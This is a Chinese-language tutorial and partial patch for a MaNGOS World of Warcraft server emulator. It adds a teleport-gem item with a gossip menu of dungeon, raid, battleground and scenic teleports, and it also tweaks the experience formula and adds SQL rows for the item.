player->TeleportTo(389,2.024650,-10.021000,-16.187500,0);
break;
// •[19] 死亡矿井
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(36,-16.4,-383.07,61.78,0);
break;
// •[22] 哀嚎洞穴
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(43,-161.841995,133.266998,-73.866203,0);
break;
// •[24] 影牙城堡
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(33,-228.19,2110.56,76.89,0);
break;
// •[26] 黑暗深渊
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(48,-150.367004,102.995003,-40.555801,0);
break;
// •[27] 暴风城监狱
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(34,48.29,0.45,-16.14,0);
break;
// •[31] 剃刀沼泽
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(47,1943,1544,82,0);
break;
// •[33] 诺莫瑞根
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(90,-332.562988,-3.445,-152.845993,0);
break;
// •[40] 血色修道院
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(189,855.903992,1321.939941,18.673000,0);
break;
// •[42] 剃刀高地
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(129,2593.209961,1109.459961,51.093300,0);
break;
// •[45] 奥达曼
case GOSSIP_ACTION_INFO_DEF + 11 :
player->TeleportTo(70,-227.529007,45.009800,-46.019600,0);
break;
}
break;
// 中级副本
case 4:
switch(action) {
// •[46] 祖尔法拉克 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(209,1213,841,8.9,0);
break;
// •[49] 玛拉顿
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(349,1012.700012,-459.317993,-43.547100,0);
break;
// •[53] 失落的神庙
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(109,-313.369995,99.955399,-131.848999,0);
break;
// •[57] 黑石深渊
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(230,456.928986,34.927700,-69.388100,0);
break;
// •[60] 通灵学院
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(289,199,126,135,0);
break;
// •[60] 厄运之槌 (北区)
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(429,255.164001,-17.024200,-2.560600,0);
break;
// •[60] 厄运之槌 (东区)
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(429,46.24,-155.53,-2.71349,0);
break;
// •[60] 厄运之槌 (西区)
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(429,32.722599,159.417007,-3.470170,0);
break;
// •[60] 斯坦索姆
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(329,3392,-3379,143,0);
break;
// •[60] 黑石塔下
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(229,78.19,-227.63,49.72,0);
break;
}
break;
// 高级副本
case 5:
uint32 price;
price = 100000;
switch(action) {
// •[团] 溶火之心 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(409,1089.601685,-470.190247,-106.413055,0);
break;
// •[团] 黑石塔上
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(229,78.339836,-227.793518,49.7103,0);
break;
// •[团] 祖尔格拉布
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(309,-11916,-1251.469971,92.32,0);
break;
// •[团] 黑翼之巢
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(469,-7674.470215,-1108.380005,396.649994,0);
break;
// •[团] 安其拉神庙
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(531,-8212.002930,2034.474854,129.141342,0);
break;
// •[团] 安其拉废墟
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(509,-8443.475586,1518.648560,31.906958,0);
break;
// •[团] 奥妮克希亚的巢穴
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(249,30.010290,-58.840508,-5.325367,0);
break;
//•[团] 纳克萨玛斯
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(533,3005.87,-3435.01,293.882,0);
break;
// •[团] 冰龙巢穴
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(533,3700.35,-5185.92,143.957,4.403038,0);
break;
}
break;
// 野外BOSS坐标
case 9:
uint32 price_worldboss;
price_worldboss = 100000;
switch(action) {
// 暮色森林 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-10526.168945,-434.996796,50.894821,0);
break;
// 辛特兰
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(0,759.605713,-3893.341309,116.475304,0);
break;
// 梣谷
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(1,3120.289307,-3439.444336,139.566345,1);
break;
// 艾萨拉
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(1,2622.219971,-5977.930176,100.562897,1);
break;
// 菲拉斯
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(1,-2741.290039,2009.481323,31.877323,1);
break;
// 诅咒之地
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(0,-12234.000000,-2474.000000,-3.000000,0);
break;
//水晶谷
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(1,-6292.463379,1578.029053,0.155348,1);
break;
}
break;
// 三大战场坐标
case 10 :
switch(action) {
// 古拉巴什竞技场 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-13289.353516,118.628067,24.414938,1.047498);
break;
// 奥特兰战场(部落)
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(30,390.553680,-283.560547,-42.987301,3.135666);
break;
// 战歌峡谷(部落)
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(489,1123.168823,1462.474976,315.564148,3.464511);
break;
// 阿拉希战场(部落)
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(529,855.156128,828.636108,-57.707348,2.812707);
break;
}
break;
// 风景传送
case 11 :
switch(action) {
//海加尔山 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(1,4603.946777,-3879.250977,944.183472,1);
break;
//翡翠圣地 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(1,3968.264648,-1290.036011,240.326889,5.927989);
break;
//时光之穴 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(1,-8173.930176,-4737.463867,33.777351,4.772119);
break;
//黑暗之门 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(0,-11849.031250,-3201.170654,-28.885090,3.280838);
break;
//双塔山 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(1,-3331.353271,2225.728271,30.987701,6.267522);
break;
//梦境之树 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(1,-2914.756104,1902.199341,34.741035,5.690404);
break;
//GM之岛 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(1, 16222.1 ,16252.1,12.5872,1);
break;
//暴雪建设公司路障 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(1,5478.060059,-3730.850098,1593.439941,5.610376);
break;
//天涯海滩 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(1,-9851.617188,-3608.474121,8.939731,2.513388);
break;
//安戈洛环形山 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(1,-8562.096680,-2106.056641,8.852538,0.090425);
break;
//比吉尔的飞艇残骸 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 11 :
player->TeleportTo(1,-4014.003418,-3768.186523,42.123295,5.220697);
break;
//石堡瀑布 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 12 :
player->TeleportTo(0,-9481.493164,-3326.915283,8.864347,0.846896);
break;
//地铁海底
case GOSSIP_ACTION_INFO_DEF + 13 :
player->TeleportTo(369, -9.96166,1238.17,-126.102,0);
break;
//工程师之岛
case GOSSIP_ACTION_INFO_DEF + 14 :
player->TeleportTo(451, 16299.464844, 16272.843750, 69.443901 ,0);
break;
//卡拉赞
case GOSSIP_ACTION_INFO_DEF + 15 :
player->TeleportTo(0, 11037.7 ,1999.49, 92.9823 ,0);
break;
}
break;
//开飞行点
case 6:
uint32 price_flags;
price_flags = 300000; //收10G的钱
if (player->GetMoney() >= price_flags) {
player->ModifyMoney(-int32(price_flags));
for (uint8 i=0; i<8; i++)
{ player->SetTaximask(i, 0xFFFFFFFF); }
player->SEND_GOSSIP_MENU(99995,_Item->GetGUID());
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID());
break;
//银行
case 8 :
player->GetSession()->SendShowBank( player->GetGUID() );
break;
// 灵魂医者复活
case 12 :
player-> GetSession()->SendSpiritResurrect();
break;
//魔兽工资领取,这个功能看起来比较算是测试用的,造理说不应该把玩家在线时间归零的
case 7 :
if(player->GetLevelPlayedTime() > 60) // 条件检查你在线时间大于60秒.这可以自己改
{
player->ModifyMoney(int32(100000)); //满足条件获得金币
player->SetInGameTime(uint32(NULL)); //将玩家在线时间归零
}else{
player->SEND_GOSSIP_MENU(99998,_Item->GetGUID());
}
break;
}
return true;
}
void AddSC_item_test()
{
Script *newscript;
newscript = new Script;
newscript->Name="item_test";
newscript->pItemUse = GossipHello_Item;
newscript->pGossipSelect_Item = GossipSelect_Item; //<--这个在十字佣兵里的程序是写&GossipSelect_Item没当真的蛮神奇的@@
m_scripts[nrscripts++] = newscript;
}
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/bindings/ScriptDev2/ScriptMgr.h
====================================================================
原始:
Script() :
pGossipHello(NULL), pQuestAccept(NULL), pGossipSelect(NULL), pGossipSelectWithCode(NULL),
pQuestSelect(NULL), pQuestComplete(NULL), pNPCDialogStatus(NULL), pChooseReward(NULL),
pItemHello(NULL), pGOHello(NULL), pAreaTrigger(NULL), pItemQuestAccept(NULL), pGOQuestAccept(NULL),
pGOChooseReward(NULL),pReceiveEmote(NULL),pItemUse(NULL), GetAI(NULL)
{}
改成:
Script() :
pGossipHello(NULL), pQuestAccept(NULL), pGossipSelect(NULL), pGossipSelectWithCode(NULL),
pQuestSelect(NULL), pQuestComplete(NULL), pNPCDialogStatus(NULL), pChooseReward(NULL),
pItemHello(NULL), pGOHello(NULL), pAreaTrigger(NULL), pItemQuestAccept(NULL), pGOQuestAccept(NULL),
pGOChooseReward(NULL),pReceiveEmote(NULL),pItemUse(NULL), pGossipSelect_Item(NULL),GetAI(NULL)
{}
//只是多加一个pGossipSelect_Item(NULL)
再找到底下这2行:
bool (*pGOChooseReward )(Player *player, GameObject *_GO, Quest *_Quest, uint32 opt );
CreatureAI* (*GetAI)(Creature *_Creature);
在中间补1行变成:
bool (*pGOChooseReward )(Player *player, GameObject *_GO, Quest *_Quest, uint32 opt );
bool (*pGossipSelect_Item )(Player *player, Item *_Item, uint32 sender, uint32 action );
CreatureAI* (*GetAI)(Creature *_Creature);
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/bindings/ScriptDev2/ScriptMgr.cpp
====================================================================
在底下的2个函式中间:
MANGOS_DLL_EXPORT
bool GossipSelectWithCode( Player *player, Creature *_Creature, uint32 sender, uint32 action, char* sCode )
{...}
MANGOS_DLL_EXPORT
bool QuestAccept( Player *player, Creature *_Creature, Quest *_Quest )
{...}
加入底下的一个函式:
MANGOS_DLL_EXPORT
bool GossipSelect_Item( Player *player, Item *_Item,uint32 sender, uint32 action )
{
Script *tmpscript = NULL;
printf("action: %d\n",action);
player->PlayerTalkClass->ClearMenus();
tmpscript = GetScriptByName(_Item->GetProto()->ScriptName);
if(!tmpscript || !tmpscript->pGossipSelect_Item) return false;
return tmpscript->pGossipSelect_Item(player,_Item,sender,action);
}
修改底下ItemUse的函式:
MANGOS_DLL_EXPORT
bool ItemUse( Player *player, Item* _Item)
{
Script *tmpscript = NULL;
tmpscript = GetScriptByName(_Item->GetProto()->ScriptName);
if(!tmpscript || !tmpscript->pItemUse) return false;
player->PlayerTalkClass->ClearMenus();
return tmpscript->pItemUse(player,_Item);
}
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/game/ScriptCalls.cpp
===================================================================
找到底下4行:
||!(testScript->ItemQuestAccept =(scriptCallItemQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemQuestAccept" ))
||!(testScript->GOQuestAccept =(scriptCallGOQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GOQuestAccept" ))
||!(testScript->ReceiveEmote =(scriptCallReceiveEmote )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ReceiveEmote" ))
||!(testScript->GetAI =(scriptCallGetAI )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GetAI" ))
修改成:
||!(testScript->ItemQuestAccept =(scriptCallItemQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemQuestAccept" ))
||!(testScript->GOQuestAccept =(scriptCallGOQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GOQuestAccept" ))
||!(testScript->ReceiveEmote =(scriptCallReceiveEmote )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ReceiveEmote" ))
||!(testScript->ItemUse =(scriptCallItemUse )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemUse" ))
||!(testScript->GossipSelect_Item =(scriptCallGossipSelect_Item )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GossipSelect_Item" ))
||!(testScript->GetAI =(scriptCallGetAI )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GetAI" ))
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/game/ScriptCalls.h
===================================================================
找到底下3行:
typedef bool(MANGOS_IMPORT * scriptCallGOChooseReward)(Player *player, GameObject *, Quest *, uint32 opt );
typedef bool(MANGOS_IMPORT * scriptCallReceiveEmote) ( Player *player, Creature *_Creature, uint32 emote );
typedef CreatureAI* (MANGOS_IMPORT * scriptCallGetAI) ( Creature *_Creature );
在底下补上下面这两行:
typedef bool(MANGOS_IMPORT * scriptCallItemUse) ( Player *player, Item* _Item);
typedef bool(MANGOS_IMPORT * scriptCallGossipSelect_Item)(Player *player, Item *_Item, uint32 sender, uint32 action);
找到底下3行:
scriptCallGOQuestAccept GOQuestAccept;
scriptCallReceiveEmote ReceiveEmote;
scriptCallGetAI GetAI;
在底下补上下面这两行:
scriptCallItemUse ItemUse;
scriptCallGossipSelect_Item GossipSelect_Item;
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/game/ItemHandler.cpp
====================================================================
#include "ScriptCalls.h" //<---在档案最上面的#include xxx底下加入此行,然后修改底下的HandleReadItem函式
void WorldSession::HandleReadItem( WorldPacket & recv_data )
{
CHECK_PACKET_SIZE(recv_data,1+1);
//sLog.outDebug( "WORLD: CMSG_READ_ITEM");
WorldPacket data;
uint8 bag, slot;
recv_data >> bag >> slot;
//sLog.outDetail("STORAGE: Read bag = %u, slot = %u", bag, slot);
Item *pItem = _player->GetItemByPos( bag, slot );
if( pItem && pItem->GetProto()->PageText )
{
uint8 msg = _player->CanUseItem( pItem );
if(!Script->ItemUse(GetPlayer(),pItem)){ //加入此行,不加这里的话会造成使用传送宝石不会出现选单,会要你去接任务@@
if( msg == EQUIP_ERR_OK ){
data.Initialize (SMSG_READ_ITEM_OK, 8);
sLog.outDetail("STORAGE: Item page sent");
}else{
data.Initialize( SMSG_READ_ITEM_FAILED, 8 );
sLog.outDetail("STORAGE: Unable to read item");
_player->SendEquipError( msg, pItem, NULL );
}
data << pItem->GetGUID();
SendPacket(&data);
} //加入此行
}
else
_player->SendEquipError( EQUIP_ERR_ITEM_NOT_FOUND, NULL, NULL );
}
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
编辑: src/game/NPCHandler.cpp <---这个不改的话会造成无法使用到GossipSelect_Item函式喔
====================================================================
找到底下的HandleGossipSelectOptionOpcode函式:
void WorldSession::HandleGossipSelectOptionOpcode( WorldPacket & recv_data )
{
CHECK_PACKET_SIZE(recv_data,8+4);
sLog.outDetail("WORLD: CMSG_GOSSIP_SELECT_OPTION");
uint32 option;
uint64 guid;
recv_data >> guid >> option;
uint16 pos = _player->GetPosByGuid(guid);//加入此行
Item *pItem = _player->GetItemByPos( pos ); //加入此行
Creature *unit = ObjectAccessor::Instance().GetNPCIfCanInteractWith(*_player, guid,UNIT_NPC_FLAG_NONE);
//底下程序要修正,请注意看
if (unit){
if(!Script->GossipSelect( _player, unit, _player->PlayerTalkClass->GossipOptionSender( option ), _player->PlayerTalkClass->GossipOptionAction( option )) )
unit->OnGossipSelect( _player, option );
}else{
if (!Script->GossipSelect_Item( _player, pItem, _player->PlayerTalkClass->GossipOptionSender( option ), _player->PlayerTalkClass->GossipOptionAction( option )))
{
sLog.outDebug( "WORLD: HandleGossipSelectOptionOpcode - Unit (GUID: %u) not found or you can't interact with him.", uint32(GUID_LOPART(guid)) );
return;
}
}
}
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
====================================================================
最后在你的数据库里增加一笔数据如下
INSERT INTO `item_template` VALUES (’31023′, ‘12′, ‘0′, ‘传送宝石’, ‘传送宝石’, ‘传送宝石’, ‘传送宝石’, ‘29691′, ‘1′, ‘0′, ‘1′, ‘0′, ‘0′, ‘0′, ‘-1′, ‘-1′, ‘1′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘1′, ‘1′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘4′, ”, ‘78′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘0′, ‘item_test’);
然后就可以使用.additem 31023产生这个对象使用传送宝石啰^^
好了收工啰,快去体验结果吧^^
////////////////////////////////////////////////////////////////////////////////
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
修改Formulas.h中的打怪获得经验值 - 主要是修改万一等级差超过5级后会没有任何经验值
如果觉得差5级以上本来就不需要经验值者就不需要变动
可是如果有开放到60级以上的话...就可能要改了...不然打到70级可能就升不上去了
===================================================================
inline uint32 BaseGain(uint32 pl_level, uint32 mob_level)
{
if( pl_level == mob_level )
return (pl_level*5 + 45);
else if( mob_level > pl_level )
return static_cast(( (pl_level*5 + 45) * (1 + 0.05*(mob_level - pl_level)) ) + 0.5);
else
{
uint32 gray_level = GetGrayLevel(pl_level);
if( mob_level > gray_level )
{
uint32 ZD = GetZeroDifference(pl_level);
return ( (pl_level*5 + 45) * (1 - (pl_level - mob_level)/ZD) );
}
return 100/(pl_level-mob_level); //原本是return 0;
}
}
使用该补丁后在Npchandler.cpp里面会出现重复的2个:void WorldSession::SendBindPoint(Creature *npc)
删除一个就可以了
世界传送sql:
99999 16185 0 世界传送 魔兽传送 60 60 43560 43560 999 999 5000 1080 65 1.24 0 121 156.09 100 100 100 0 0 1 0 2 0 0 0 0 1000 2000 100 2 7 1 0 22802 0 0 218171138 234948100 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 teleport
奇迹宝石sql
8 12 0 -1 奇迹宝石 奇迹宝石 奇迹宝石 奇迹宝石 7984 1 0 1 0 0 0 -1 -1 1 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 右键点击打开传送菜单 78 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 -1 item_test 0
下面的拷贝下来转换成 文件 补丁.patch ,在svn里面导入就可以了。。。。
Index: src/game/AuctionHouse.cpp
===================================================================
--- src/game/AuctionHouse.cpp (revision 3567)
+++ src/game/AuctionHouse.cpp (working copy)
@@ -45,6 +45,7 @@
}
SendAuctionHello(guid, unit);
+ SendAuctionItemHello(guid); //Karlson 宝石
}
static uint8 AuctioneerFactionToLocation(uint32 faction)
@@ -78,6 +79,15 @@
SendPacket( &data );
}
+ //added by bigbomb Karlson 宝石拍卖行
+void WorldSession::SendAuctionItemHello( uint64 guid )
+ {
+ WorldPacket data( MSG_AUCTION_HELLO, 12 );
+ data << (uint64) guid;
+ //data << (uint32) AuctioneerFactionToLocation(unit->getFaction());
+ SendPacket( &data );
+ } //Karlson 宝石
+
//this function inserts to WorldPacket auction's data
bool WorldSession::SendAuctionInfo(WorldPacket & data, AuctionEntry* auction)
{
Index: src/game/ItemHandler.cpp
===================================================================
--- src/game/ItemHandler.cpp (revision 3567)
+++ src/game/ItemHandler.cpp (working copy)
@@ -28,6 +28,7 @@
#include "Item.h"
#include "UpdateData.h"
#include "ObjectAccessor.h"
+#include "ScriptCalls.h" //传送宝石增加 Karlson
void WorldSession::HandleSplitItemOpcode( WorldPacket & recv_data )
{
@@ -364,6 +365,8 @@
if( pItem && pItem->GetProto()->PageText )
{
uint8 msg = _player->CanUseItem( pItem );
+ if(!Script->ItemUse(GetPlayer(),pItem))//传送宝石修改 Karlson
+ { //传送宝石修改 Karlson
if( msg == EQUIP_ERR_OK )
{
data.Initialize (SMSG_READ_ITEM_OK, 8);
@@ -377,6 +380,7 @@
}
data << pItem->GetGUID();
SendPacket(&data);
+ } //传送宝石修改 Karlson
}
else
_player->SendEquipError( EQUIP_ERR_ITEM_NOT_FOUND, NULL, NULL );
Index: src/game/NPCHandler.cpp
===================================================================
--- src/game/NPCHandler.cpp (revision 3567)
+++ src/game/NPCHandler.cpp (working copy)
@@ -33,6 +33,7 @@
#include "MapManager.h"
#include "Pet.h"
#include "WaypointMovementGenerator.h"
+#include "Item.h" //传送宝石修改 Karlson
void WorldSession::HandleTabardVendorActivateOpcode( WorldPacket & recv_data )
{
@@ -340,24 +341,27 @@
recv_data >> guid >> option;
- // fix for spirit healers (temp?)
- Creature *temp = ObjectAccessor::Instance().GetCreature(*_player, guid);
- if (!temp)
- return;
-
- uint32 npcflags = UNIT_NPC_FLAG_NONE;
- if(temp->isSpiritHealer())
- npcflags = UNIT_NPC_FLAG_SPIRITHEALER;
-
- Creature *unit = ObjectAccessor::Instance().GetNPCIfCanInteractWith(*_player, guid, npcflags);
- if (!unit)
+ uint16 pos = _player->GetPosByGuid(guid);//传送宝石 Karlson
+ Item *pItem = _player->GetItemByPos( pos ); //传送宝石
+ Creature *unit = ObjectAccessor::Instance().GetNPCIfCanInteractWith(*_player, guid,UNIT_NPC_FLAG_NONE);
+ if (unit)//传送宝石
{
- sLog.outDebug( "WORLD: HandleGossipSelectOptionOpcode - Unit (GUID: %u) not found or you can't interact with him.", uint32(GUID_LOPART(guid)) );
- return;
- }
-
+ // sLog.outDebug( "WORLD: HandleGossipSelectOptionOpcode - Unit (GUID: %u) not found or you can't interact with him.", uint32(GUID_LOPART(guid)) );//传送宝石
+ // return; //传送宝石 Karlson
+
+
+
if(!Script->GossipSelect( _player, unit, _player->PlayerTalkClass->GossipOptionSender( option ), _player->PlayerTalkClass->GossipOptionAction( option )) )
unit->OnGossipSelect( _player, option );
+ }//传送宝石开始
+ else
+ {
+ if (!Script->GossipSelect_Item( _player, pItem, _player->PlayerTalkClass->GossipOptionSender( option ), _player->PlayerTalkClass->GossipOptionAction( option )))
+ {
+ sLog.outDebug( "WORLD: HandleGossipSelectOptionOpcode - Unit (GUID: %u) not found or you can't interact with him.", uint32(GUID_LOPART(guid)) );
+ return;
+ }
+ }//传送宝石结束 Karlson
}
void WorldSession::HandleSpiritHealerActivateOpcode( WorldPacket & recv_data )
@@ -455,6 +459,67 @@
SendBindPoint(unit);
}
+//added by bigbomb 下面是添加的内容 //宝石炉石绑定功能 Karlson
+void WorldSession::SendBindPointHome( uint64 guid )
+{
+ WorldPacket data;
+
+ // binding
+ data.Initialize( SMSG_BINDPOINTUPDATE, (4+4+4+4+4) );
+ data << float(_player->GetPositionX());
+ data << float(_player->GetPositionY());
+ data << float(_player->GetPositionZ());
+ data << uint32(_player->GetMapId());
+ data << uint32(_player->GetZoneId());
+ SendPacket( &data );
+
+ DEBUG_LOG("New Home Position X is %f",_player->GetPositionX());
+ DEBUG_LOG("New Home Position Y is %f",_player->GetPositionY());
+ DEBUG_LOG("New Home Position Z is %f",_player->GetPositionZ());
+ DEBUG_LOG("New Home MapId is %u",_player->GetMapId());
+ DEBUG_LOG("New Home ZoneId is %u",_player->GetZoneId());
+
+ // zone update
+ data.Initialize( SMSG_PLAYERBOUND, 12 );
+ data << uint64(_player->GetGUID());
+ data << uint32(_player->GetZoneId());
+ SendPacket( &data );
+
+ // update sql homebind
+ sDatabase.PExecute("UPDATE `character_homebind` SET `map` = '%u', `zone` = '%u', `position_x` = '%f', `position_y` = '%f', `position_z` = '%f' WHERE `guid` = '%u'", _player->GetMapId(), _player->GetZoneId(), _player->GetPositionX(), _player->GetPositionY(), _player->GetPositionZ(), _player->GetGUIDLow());
+
+ // if a player lost/dropped hist hearthstone, he will get a new one
+ uint32 hearthstone_itemid = 6948;
+ if ( !_player->HasItemCount(hearthstone_itemid, 1) && _player->GetBankItemCount(hearthstone_itemid) <1)
+ {
+ uint16 dest;
+ uint8 msg = _player->CanStoreNewItem( NULL_BAG, NULL_SLOT, dest, hearthstone_itemid, 1, false );
+ if( msg == EQUIP_ERR_OK )
+ {
+ Item* newitem = _player->StoreNewItem( dest, hearthstone_itemid, 1, true);
+ _player->SendNewItem(newitem, 1, true, false);
+ }
+ else
+ {
+ _player->SendEquipError( msg, NULL, NULL );
+ }
+ }
+
+ // send spell for bind 3286 bind magic
+ data.Initialize(SMSG_SPELL_START, (8+8+2+2+2+4+2) );
+ data.append(_player->GetPackGUID());
+ //data.append(npc->GetPackGUID());
+ data << uint16(3286) << uint16(0x00) << uint16(0x0F) << uint32(0x00)<< uint16(0x00);
+ SendPacket( &data );
+
+ data.Initialize(SMSG_SPELL_GO, (8+8+2+2+1+1+1+8+4+2+2));
+ data.append(_player->GetPackGUID());
+ //data.append(npc->GetPackGUID());
+ data << uint16(3286) << uint16(0x00) << uint8(0x0D) << uint8(0x01)<< uint8(0x01) << _player->GetGUID();
+ data << uint32(0x00) << uint16(0x0200) << uint16(0x00);
+ SendPacket( &data );
+ //_player->PlayerTalkClass->CloseGossip();
+}
void WorldSession::SendBindPoint(Creature *npc)
{
WorldPacket data;
@@ -534,6 +599,87 @@
SendPacket( &data );
_player->PlayerTalkClass->CloseGossip();
+} // 宝石结束 Karlson
+
+void WorldSession::SendBindPoint(Creature *npc)
+{
+ WorldPacket data;
+ uint32 bindspell = 3286, hearthstone_itemid = 6948;
+
+ // update sql homebind
+ sDatabase.PExecute("UPDATE `character_homebind` SET `map` = '%u', `zone` = '%u', `position_x` = '%f', `position_y` = '%f', `position_z` = '%f' WHERE `guid` = '%u'", _player->GetMapId(), _player->GetZoneId(), _player->GetPositionX(), _player->GetPositionY(), _player->GetPositionZ(), _player->GetGUIDLow());
+ _player->m_homebindMapId = _player->GetMapId();
+ _player->m_homebindZoneId = _player->GetZoneId();
+ _player->m_homebindX = _player->GetPositionX();
+ _player->m_homebindY = _player->GetPositionY();
+ _player->m_homebindZ = _player->GetPositionZ();
+
+ // if a player lost/dropped hist hearthstone, he will get a new one
